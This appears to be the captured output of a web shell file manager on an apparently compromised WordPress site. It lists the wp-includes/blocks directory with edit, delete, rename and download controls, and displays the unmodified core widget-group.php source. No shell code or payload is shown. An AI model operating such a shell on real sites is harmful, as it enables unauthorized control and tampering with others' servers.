⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⢠⣴⣿⣿⣿⣷⣼⣿⠀⣴⠾⠷⠶⠦⡄⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⢠⡤⢶⣦⣾⣿⣿⣿⣿⣿⣿⣿⠀⣿⣶⣶⣦⣄⠳⣤⣤⠄⠀⠀⠀ ⠀⠀⠀⢀⣼⣳⡿⢻⣿⣿⣿⣿⣿⣿⣿⣿⣶⣿⣿⣗⠈⠙⠻⣶⣄⡀⠀⠀⠀ ⠀⠀⠀⣰⠿⠁⢀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡄⠀⠀⠈⠳⣤⠀⠀ ⠀⠀⢀⡟⠀⢰⣿⠟⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⠉⠁⠈⠻⣶⣄⠀⠀⠈⠛⢦ www.github.com/caterscam ⠀⣀⡼⠃⠀⣼⡟⠀⠀⢸⣿⡿⠉⣿⡿⠿⠛⣿⡄⠀⠀⠀⠙⠿⣆⠀⠀⠀⠈ ⠈⠁⠀⠀⢸⡟⠀⠀⠀⢸⣿⠀⠀⣿⠁⠀⠀⠈⠃⠀⠀⠀⠀⠀⠘⢷⡄⠀⠀ ⠀⠀⠀⠀⣼⠃⠀⠀⠀⢸⡟⠀⠀⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⡆⠀ ⠀⠀⠀⣠⡏⠀⠀⠀⠀⣼⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠻⠃⠀⠀⠀⠀⣻⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ Current Dir: /dom834884/wp-includes/blocks/ [DIR] archives [ delete | rename ] [DIR] audio [ delete | rename ] [DIR] avatar [ delete | rename ] [DIR] block [ delete | rename ] [DIR] button [ delete | rename ] [DIR] buttons [ delete | rename ] [DIR] calendar [ delete | rename ] [DIR] categories [ delete | rename ] [DIR] code [ delete | rename ] [DIR] column [ delete | rename ] [DIR] columns [ delete | rename ] [DIR] comment-author-name [ delete | rename ] [DIR] comment-content [ delete | rename ] [DIR] comment-date [ delete | rename ] [DIR] comment-edit-link [ delete | rename ] [DIR] comment-reply-link [ delete | rename ] [DIR] comment-template [ delete | rename ] [DIR] comments [ delete | rename ] [DIR] comments-pagination [ delete | rename ] [DIR] comments-pagination-next [ delete | rename ] [DIR] comments-pagination-numbers [ delete | rename ] [DIR] comments-pagination-previous [ delete | rename ] [DIR] comments-title [ delete | rename ] [DIR] cover [ delete | rename ] [DIR] details [ delete | rename ] [DIR] embed [ delete | rename ] [DIR] file [ delete | rename ] [DIR] footnotes [ delete | rename ] [DIR] freeform [ delete | rename ] [DIR] gallery [ delete | rename ] [DIR] group [ delete | rename ] [DIR] heading [ delete | rename ] [DIR] home-link [ delete | rename ] [DIR] html [ delete | rename ] [DIR] image [ delete | rename ] [DIR] latest-comments [ delete | rename ] [DIR] latest-posts [ delete | rename ] [DIR] legacy-widget [ delete | rename ] [DIR] list [ delete | rename ] [DIR] list-item [ delete | rename ] [DIR] loginout [ delete | rename ] [DIR] media-text [ delete | rename ] [DIR] missing [ delete | rename ] [DIR] more [ delete | rename ] [DIR] navigation [ delete | rename ] [DIR] navigation-link [ delete | rename ] [DIR] navigation-submenu [ delete | rename ] [DIR] nextpage [ delete | rename ] [DIR] page-list [ delete | rename ] [DIR] page-list-item [ delete | rename ] [DIR] paragraph [ delete | rename ] [DIR] pattern [ delete | rename ] [DIR] post-author [ delete | rename ] [DIR] post-author-biography [ delete | rename ] [DIR] post-author-name [ delete | rename ] [DIR] post-comments-form [ delete | rename ] [DIR] post-content [ delete | rename ] [DIR] post-date [ delete | rename ] [DIR] post-excerpt [ delete | rename ] [DIR] post-featured-image [ delete | rename ] [DIR] post-navigation-link [ delete | rename ] [DIR] post-template [ delete | rename ] [DIR] post-terms [ delete | rename ] [DIR] post-title [ delete | rename ] [DIR] preformatted [ delete | rename ] [DIR] pullquote [ delete | rename ] [DIR] query [ delete | rename ] [DIR] query-no-results [ delete | rename ] [DIR] query-pagination [ delete | rename ] [DIR] query-pagination-next [ delete | rename ] [DIR] query-pagination-numbers [ delete | rename ] [DIR] query-pagination-previous [ delete | rename ] [DIR] query-title [ delete | rename ] [DIR] query-total [ delete | rename ] [DIR] quote [ delete | rename ] [DIR] read-more [ delete | rename ] [DIR] rss [ delete | rename ] [DIR] search [ delete | rename ] [DIR] separator [ delete | rename ] [DIR] shortcode [ delete | rename ] [DIR] site-logo [ delete | rename ] [DIR] site-tagline [ delete | rename ] [DIR] site-title [ delete | rename ] [DIR] social-link [ delete | rename ] [DIR] social-links [ delete | rename ] [DIR] spacer [ delete | rename ] [DIR] table [ delete | rename ] [DIR] tag-cloud [ delete | rename ] [DIR] template-part [ delete | rename ] [DIR] term-description [ delete | rename ] [DIR] text-columns [ delete | rename ] [DIR] verse [ delete | rename ] [DIR] video [ delete | rename ] [DIR] widget-group [ delete | rename ] [FILE] archives.php [ edit | delete | rename | download ] [FILE] avatar.php [ edit | delete | rename | download ] [FILE] block.php [ edit | delete | rename | download ] [FILE] blocks-json.php [ edit | delete | rename | download ] [FILE] button.php [ edit | delete | rename | download ] [FILE] calendar.php [ edit | delete | rename | download ] [FILE] categories.php [ edit | delete | rename | download ] [FILE] comment-author-name.php [ edit | delete | rename | download ] [FILE] comment-content.php [ edit | delete | rename | download ] [FILE] comment-date.php [ edit | delete | rename | download ] [FILE] comment-edit-link.php [ edit | delete | rename | download ] [FILE] comment-reply-link.php [ edit | delete | rename | download ] [FILE] comment-template.php [ edit | delete | rename | download ] [FILE] comments-pagination-next.php [ edit | delete | rename | download ] [FILE] comments-pagination-numbers.php [ edit | delete | rename | download ] [FILE] comments-pagination-previous.php [ edit | delete | rename | download ] [FILE] comments-pagination.php [ edit | delete | rename | download ] [FILE] comments-title.php [ edit | delete | rename | download ] [FILE] comments.php [ edit | delete | rename | download ] [FILE] cover.php [ edit | delete | rename | download ] [FILE] file.php [ edit | delete | rename | download ] [FILE] footnotes.php [ edit | delete | rename | download ] [FILE] gallery.php [ edit | delete | rename | download ] [FILE] heading.php [ edit | delete | rename | download ] [FILE] home-link.php [ edit | delete | rename | download ] [FILE] image.php [ edit | delete | rename | download ] [FILE] index.php [ edit | delete | rename | download ] [FILE] latest-comments.php [ edit | delete | rename | download ] [FILE] latest-posts.php [ edit | delete | rename | download ] [FILE] legacy-widget.php [ edit | delete | rename | download ] [FILE] list.php [ edit | delete | rename | download ] [FILE] loginout.php [ edit | delete | rename | download ] [FILE] media-text.php [ edit | delete | rename | download ] [FILE] navigation-link.php [ edit | delete | rename | download ] [FILE] navigation-submenu.php [ edit | delete | rename | download ] [FILE] navigation.php [ edit | delete | rename | download ] [FILE] page-list-item.php [ edit | delete | rename | download ] [FILE] page-list.php [ edit | delete | rename | download ] [FILE] pattern.php [ edit | delete | rename | download ] [FILE] post-author-biography.php [ edit | delete | rename | download ] [FILE] post-author-name.php [ edit | delete | rename | download ] [FILE] post-author.php [ edit | delete | rename | download ] [FILE] post-comments-form.php [ edit | delete | rename | download ] [FILE] post-content.php [ edit | delete | rename | download ] [FILE] post-date.php [ edit | delete | rename | download ] [FILE] post-excerpt.php [ edit | delete | rename | download ] [FILE] post-featured-image.php [ edit | delete | rename | download ] [FILE] post-navigation-link.php [ edit | delete | rename | download ] [FILE] post-template.php [ edit | delete | rename | download ] [FILE] post-terms.php [ edit | delete | rename | download ] [FILE] post-title.php [ edit | delete | rename | download ] [FILE] query-no-results.php [ edit | delete | rename | download ] [FILE] query-pagination-next.php [ edit | delete | rename | download ] [FILE] query-pagination-numbers.php [ edit | delete | rename | download ] [FILE] query-pagination-previous.php [ edit | delete | rename | download ] [FILE] query-pagination.php [ edit | delete | rename | download ] [FILE] query-title.php [ edit | delete | rename | download ] [FILE] query-total.php [ edit | delete | rename | download ] [FILE] query.php [ edit | delete | rename | download ] [FILE] read-more.php [ edit | delete | rename | download ] [FILE] require-dynamic-blocks.php [ edit | delete | rename | download ] [FILE] require-static-blocks.php [ edit | delete | rename | download ] [FILE] rss.php [ edit | delete | rename | download ] [FILE] search.php [ edit | delete | rename | download ] [FILE] shortcode.php [ edit | delete | rename | download ] [FILE] site-logo.php [ edit | delete | rename | download ] [FILE] site-tagline.php [ edit | delete | rename | download ] [FILE] site-title.php [ edit | delete | rename | download ] [FILE] social-link.php [ edit | delete | rename | download ] [FILE] tag-cloud.php [ edit | delete | rename | download ] [FILE] template-part.php [ edit | delete | rename | download ] [FILE] term-description.php [ edit | delete | rename | download ] [FILE] widget-group.php [ edit | delete | rename | download ] Viewing: /dom834884/wp-includes/blocks/widget-group.php <?php /** * Server-side rendering of the `core/widget-group` block. * * @package WordPress */ /** * Renders the 'core/widget-group' block. * * @since 5.9.0 * * @global array $wp_registered_sidebars * @global int|string $_sidebar_being_rendered * * @param array $attributes The block attributes. * @param string $content The block content. * @param WP_Block $block The block. * * @return string Rendered block. */ function render_block_core_widget_group( $attributes, $content, $block ) { global $wp_registered_sidebars, $_sidebar_being_rendered; if ( isset( $wp_registered_sidebars[ $_sidebar_being_rendered ] ) ) { $before_title = $wp_registered_sidebars[ $_sidebar_being_rendered ]['before_title']; $after_title = $wp_registered_sidebars[ $_sidebar_being_rendered ]['after_title']; } else { $before_title = '<h2 class="widget-title">'; $after_title = '</h2>'; } $html = ''; if ( ! empty( $attributes['title'] ) ) { $html .= $before_title . esc_html( $attributes['title'] ) . $after_title; } $html .= '<div class="wp-widget-group__inner-blocks">'; foreach ( $block->inner_blocks as $inner_block ) { $html .= $inner_block->render(); } $html .= '</div>'; return $html; } /** * Registers the 'core/widget-group' block. * * @since 5.9.0 */ function register_block_core_widget_group() { register_block_type_from_metadata( __DIR__ . '/widget-group', array( 'render_callback' => 'render_block_core_widget_group', ) ); } add_action( 'init', 'register_block_core_widget_group' ); /** * Make a note of the sidebar being rendered before WordPress starts rendering * it. This lets us get to the current sidebar in * render_block_core_widget_group(). * * @since 5.9.0 * * @global int|string $_sidebar_being_rendered * * @param int|string $index Index, name, or ID of the dynamic sidebar. */ function note_sidebar_being_rendered( $index ) { global $_sidebar_being_rendered; $_sidebar_being_rendered = $index; } add_action( 'dynamic_sidebar_before', 'note_sidebar_being_rendered' ); /** * Clear whatever we set in note_sidebar_being_rendered() after WordPress * finishes rendering a sidebar. * * @since 5.9.0 * * @global int|string $_sidebar_being_rendered */ function discard_sidebar_being_rendered() { global $_sidebar_being_rendered; unset( $_sidebar_being_rendered ); } add_action( 'dynamic_sidebar_after', 'discard_sidebar_being_rendered' );